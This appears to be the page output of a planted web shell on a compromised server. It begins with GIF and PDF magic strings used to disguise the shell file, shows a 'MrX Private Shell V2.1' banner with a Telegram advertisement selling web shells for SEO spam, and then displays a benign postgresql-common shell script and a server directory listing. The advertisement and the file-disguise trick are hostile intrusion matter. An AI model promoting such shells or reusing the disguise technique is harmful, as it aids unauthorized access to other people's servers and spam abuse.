GIF89; GIF89; %PDF- %PDF-
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# shell functions used in postgresql-common
#
# (C) 2014 Martin Pitt <mpitt@debian.org>
# (C) 2014 Christoph Berg <myon@debian.org>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# set DISTRO and RELEASE
get_release() {
# return if we were already called
[ "${DISTRO:-}" ] && [ "${RELEASE:-}" ] && return
# we have /etc/os-release, use it
if [ -r /etc/os-release ]; then
. /etc/os-release
DISTRO="${ID:-unknown}"
RELEASE="${VERSION_ID:-unstable}" # unstable doesn't have this field
# fall back to lsb_release
elif type lsb_release >/dev/null 2>/dev/null; then
DISTRO="`lsb_release -is | tr [:upper:] [:lower:]`"
RELEASE="`lsb_release -rs`"
else
echo "get_release: WARNING: /etc/os-release and lsb_release not present, unknown distribution" >&2
fi
}
# install locales
# Arguments: locale charset [...]
locale_gen ()
{
get_release
case $DISTRO in
redhat|centos)
return 0 # not yet implemented
;;
esac
local run
while [ "${2:-}" ]; do
if ! grep -q "^$1 $2\$" /etc/locale.gen; then
echo "$1 $2" >> /etc/locale.gen
run=1
fi
shift 2
done
[ "${run:-}" ] && locale-gen
return 0
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| pgdg | Folder | 0755 |
|
|
| server | Folder | 0755 |
|
|
| t | Folder | 0755 |
|
|
| upgrade-scripts | Folder | 0755 |
|
|
| createcluster.conf | File | 1.29 KB | 0644 |
|
| init.d-functions | File | 3.34 KB | 0644 |
|
| maintscripts-functions | File | 10.08 KB | 0644 |
|
| pg_checksystem | File | 1.82 KB | 0755 |
|
| pg_getwal | File | 1.66 KB | 0755 |
|
| pg_updateaptconfig | File | 1.03 KB | 0755 |
|
| pg_wrapper | File | 9.21 KB | 0755 |
|
| pgcommon.sh | File | 1.69 KB | 0644 |
|
| run-upgrade-scripts | File | 3.62 KB | 0755 |
|
| supported-versions | File | 6.12 KB | 0755 |
|
| testsuite | File | 6.5 KB | 0755 |
|